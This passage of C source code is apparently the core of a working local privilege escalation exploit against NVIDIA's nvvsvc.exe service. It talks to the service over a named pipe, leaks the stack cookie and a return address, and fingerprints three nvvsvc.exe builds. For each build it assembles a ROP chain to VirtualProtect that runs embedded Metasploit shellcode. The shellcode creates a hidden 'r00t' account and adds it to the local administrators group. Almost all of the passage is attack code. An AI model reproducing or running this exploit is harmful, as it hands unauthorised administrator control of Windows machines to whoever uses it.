ProtocolAction_Disconnect:  
printf(" -  
DISCONNECT\n");  

CloseHandle(hPipe);  
hPipe =  
NULL;  

break;  
case ProtocolAction_Send:  
printf(" - CLIENT =>  
SERVER\n");  

if(!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf,  
rgConvoMsg[i].Length)))  
{  
printf("!! Error writing to pipe\n");  
goto  
Cleanup;  
}  

printf("\t\tWritten %u (0x%x) characters to pipe\n",  
dwBytesInOut, dwBytesInOut);  

break;  
case  
ProtocolAction_Receive:  
printf("\t - SERVER =>  
CLIENT\n");  

if(!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf,  
rgConvoMsg[i].Length, FALSE)))  
{  
printf("!! Error reading from pipe (at  
least, no data on pipe)\n");  
goto Cleanup;  
}  

printf("\t\tRead %u  
(0x%x) characters from pipe\n", dwBytesInOut,  
dwBytesInOut);  

break;  
case ProtocolAction_ReadCookie:  

// x64  
Metasploit cmd/exec:  
// "net user r00t r00t00r! /add & net localgroup  
administrators /add"  
// exitfunc=thread  
char pb_NetAdd_Admin[] =  
""  
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"  
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"  
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"  
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"  
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"  
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"  
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"  
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"  
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"  
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"  
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"  
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"  
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"  
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"  
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"  
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"  
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"  
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"  
"\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30"  
"\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64"  
"\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72"  
"\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74"  
"\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00";  

printf("Building  
exploit ...\n");  
unsigned __int64 uiStackCookie = *(unsigned __int64  
*)(rgReadBuf + 0x4034);  
printf("\t\t => Stack cookie 0x%x%x:\n",  
(DWORD)(uiStackCookie >> 32),  
(DWORD)uiStackCookie);  

memcpy(rgConvoMsg[4].Buf + 0xc + 0xc,  
&uiStackCookie, 8);  

unsigned __int64 uiRetnAddress = *(unsigned  
__int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL;  

//  
Perform some limited fingerprinting (my default install version, vs latest at  
time of testing)  
switch(uiRetnAddress & 0xfff)  
{  
case 0x640: //  
nvvsvc.exe - 03 Nov 2011 - 1,640,768 bytes -  
md5=3947ad5d03e6abcce037801162fdb90d  
{  
uiBase = uiRetnAddress -  
0x4640;  
printf("\t\t => nvvsvc.exe base 0x%x%x:\n", (DWORD)(uiBase  
>> 32), (DWORD)uiBase);  

pRopChain = (unsigned __int64  
*)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));  

// Param 1: lpAddress [r11  
(near rsp) into rcx]  
pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e:  
mov rax, r11; retn  
pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64:  
mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn  
pRopChain[2] = 0; //  
Padding  
pRopChain[3] = 0; // ...  
pRopChain[4] = 0; // ...  
pRopChain[5]  
= 0; // ...  
pRopChain[6] = 0; // ...  
pRopChain[7] = uiBase + 0x7773; //  
nvvsvc.exe+0x7773: pop rax; retn  
pRopChain[8] = 0x1; // Param 2: dwSize [rdx  
= 1 (whole page)]  
pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov  
rdx, rax; mov rax, rdx; add rsp, 28h; retn  
pRopChain[10] = 0; //  
Padding  
pRopChain[11] = 0; // ...  
pRopChain[12] = 0; //  
...  
pRopChain[13] = 0; // ...  
pRopChain[14] = 0; // ...  
pRopChain[15] =  
uiBase + 0x7772; // nvvsvc.exe+0x7772: pop r8; retn  
pRopChain[16] = 0x40; //  
Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]  
pRopChain[17] =  
uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn  
// Param 4:  
lpflOldProtect [r9 - already points at writable location]  
pRopChain[18] =  
uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry  
&VirtualProtect  
pRopChain[19] = uiBase + 0x5d60; // nvvsvc.exe+0x5d60:  
mov rax, [rax]; retn  
pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85:  
jmp rax  
pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp  
(return address from VirtualProtect)  

memcpy(pRopChain + 22,  
pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));  
}  
break;  
case 0x9f1: //  
nvvsvc.exe - 30 Aug 2012 - 891,240 bytes -  
md5=43f91595049de14c4b61d1e76436164f  
{  
uiBase = uiRetnAddress -  
0x39f1;  
printf("\t\t => nvvsvc.exe base 0x%x%x:\n", (DWORD)(uiBase  
>> 32), (DWORD)uiBase);  

pRopChain = (unsigned __int64  
*)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));  

// Param 1: lpAddress [r11  
(near rsp) into rcx]  
pRopChain[0] = uiBase + 0x15d36; // nvvsvc.exe+0x15d36:  
mov rax, r11; retn  
pRopChain[1] = uiBase + 0x5493c; // nvvsvc.exe+0x5493c:  
mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn  
pRopChain[2] = 0; //  
Padding ...  
pRopChain[3] = 0; // ...  
pRopChain[4] = 0; //  
...  
pRopChain[5] = 0; // ...  
pRopChain[6] = 0; // ...  
pRopChain[7] =  
uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn  
pRopChain[8] = 0x1; //  
Param 2: dwSize [rdx = 1 (whole page)]  
pRopChain[9] = uiBase + 0x55dbf; //  
nvvsvc.exe+0x55dbf: mov rdx, rax; mov rax, rdx; add rsp, 28h;  
retn  
pRopChain[10] = 0; // Padding ...  
pRopChain[11] = 0; //  
...  
pRopChain[12] = 0; // ...  
pRopChain[13] = 0; // ...  
pRopChain[14] =  
0; // ...  
// Param 3: flNewProtect [r8 = 0x40  
(PAGE_EXECUTE_READWRITE)]  
pRopChain[15] = uiBase + 0xd202; //  
nvvsvc.exe+0xd202: pop rax; retn  
pRopChain[16] = 0x40; //  
PAGE_EXECUTE_READWRITE  
pRopChain[17] = uiBase + 0x8b92; //  
nvvsvc.exe+0x55dbf: mov r8d, eax; mov eax, r8d; add rsp, 28h;  
retn  
pRopChain[18] = 0; // Padding ...  
pRopChain[19] = 0; //  
...  
pRopChain[20] = 0; // ...  
pRopChain[21] = 0; // ...  
pRopChain[22] =  
0; // ...  
// Param 4: lpflOldProtect [r9 - already points at writable  
location]  
pRopChain[23] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax;  
retn  
pRopChain[24] = uiBase + 0x91308; // IAT entry &VirtualProtect -  
0x130  
pRopChain[25] = uiBase + 0x82989; // nvvsvc.exe+0x82989: mov rax,  
[rax+130h]; add rsp, 28h; retn  
pRopChain[26] = 0; // Padding  
...  
pRopChain[27] = 0; // ...  
pRopChain[28] = 0; // ...  
pRopChain[29] =  
0; // ...  
pRopChain[30] = 0; // ...  
pRopChain[31] = uiBase + 0x44ba6; //  
nvvsvc.exe+0x44ba6: jmp eax  
pRopChain[32] = uiBase + 0x77c59; //  
nvvsvc.exe+0x77c59: jmp esp  

memcpy(pRopChain + 33, pb_NetAdd_Admin,  
sizeof(pb_NetAdd_Admin));  
}  
break;  
case 0xa11: // nvvsvc.exe - 01 Dec  
2012 - 890,216 md5=3341d2c91989bc87c3c0baa97c27253b  
{  
uiBase =  
uiRetnAddress - 0x3a11;  
printf("\t\t => nvvsvc.exe base 0x%x%x:\n",  
(DWORD)(uiBase >> 32), (DWORD)uiBase);  

pRopChain = (unsigned  
__int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));  

// Param 1: lpAddress  
[r11 (near rsp) into rcx]  
pRopChain[0] = uiBase + 0x15b52; //  
nvvsvc.exe+0x15b52: mov rax, r11; retn  
pRopChain[1] = uiBase + 0x54d4c; //  
nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h;  
retn  
pRopChain[2] = 0; // Padding ...  
pRopChain[3] = 0; //  
...  
pRopChain[4] = 0; // ...  
pRopChain[5] = 0; // ...  
pRopChain[6] = 0;  
// ...  
pRopChain[7] = uiBase + 0x8d7aa; // nvvsvc.exe+0x8d7aa: pop rdx; add  
al, 0; pop rbp; retn  
pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole  
page)]  
pRopChain[9] = 0; // Padding ...  
// Param 3: flNewProtect [r8 =  
0x40 (PAGE_EXECUTE_READWRITE)]  
pRopChain[10] = uiBase + 0xd33a; //  
nvvsvc.exe+0xd33a: pop rax; retn  
pRopChain[11] = 0x40; //  
PAGE_EXECUTE_READWRITE  
pRopChain[12] = uiBase + 0x8d26; // nvvsvc.exe+0x8d26:  
mov r8d, eax; mov eax, r8d; add rsp, 28h; retn  
pRopChain[13] = 0; // Padding  
...  
pRopChain[14] = 0; // ...  
pRopChain[15] = 0; // ...  
pRopChain[16] =  
0; // ...  
pRopChain[17] = 0; // ...  
// Param 4: lpflOldProtect [r9 -  
already points at writable location]  
pRopChain[18] = uiBase + 0xd33a; //  
nvvsvc.exe+0xd33a: pop rax; retn  
pRopChain[19] = uiBase + 0x91310; // IAT  
entry &VirtualProtect - 0x128  
pRopChain[20] = uiBase + 0x82851; //  
nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn  
pRopChain[21] =  
0; // Padding ...  
pRopChain[22] = 0; // ...  
pRopChain[23] = 0; //  
...  
pRopChain[24] = 0; // ...  
pRopChain[25] = 0; // ...  
pRopChain[26] =  
uiBase + 0x44fb6; // nvvsvc.exe+0x44fb6: jmp rax  
pRopChain[27] = uiBase +  
0x8a0dc; // nvvsvc.exe+0x8a0dc: push rsp; retn  

memcpy(pRopChain + 28,  
pb_NetAdd_Admin,  
sizeof(pb_NetAdd_Admin));  
}  
break;  
}  

break;  
}  

i++;  
}  

dwReturnCode  
= 0;  
Cleanup:  
if(hPipe)  
CloseHandle(hPipe);  

return  
dwReturnCode;  
}